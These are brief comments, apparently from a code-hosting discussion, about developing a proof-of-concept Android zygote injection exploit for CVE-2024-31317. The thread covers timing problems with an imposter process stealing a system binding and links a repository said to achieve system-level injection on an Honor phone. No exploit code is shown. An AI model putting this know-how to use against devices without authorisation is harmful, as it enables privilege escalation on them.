Hi @diabl0w , this the first iteration (PoC1) - works not as I expected. Better check the second one by the link above. In this one I thought that sh sleep is actually caused by my payload, but nope it's caused by some init scripts of android itself...

Okay thanks for the clqrif8cation, I figured that mightve been the case... okay I'll have to try out the v2 and see what I could come up with

I think the issue is mostly in timings - so the legitimate app need to be transferred to zygote in the time of the imposter to get back to system to steal it's binding. But I was unable to get to this point...

The zygote injection to system on Honor is solved now: https://github.com/rabits/zygote-CVE-2024-31317 (details: https://xdaforums.com/t/root-on-honor-magic-v2.4679495/post-90683185)
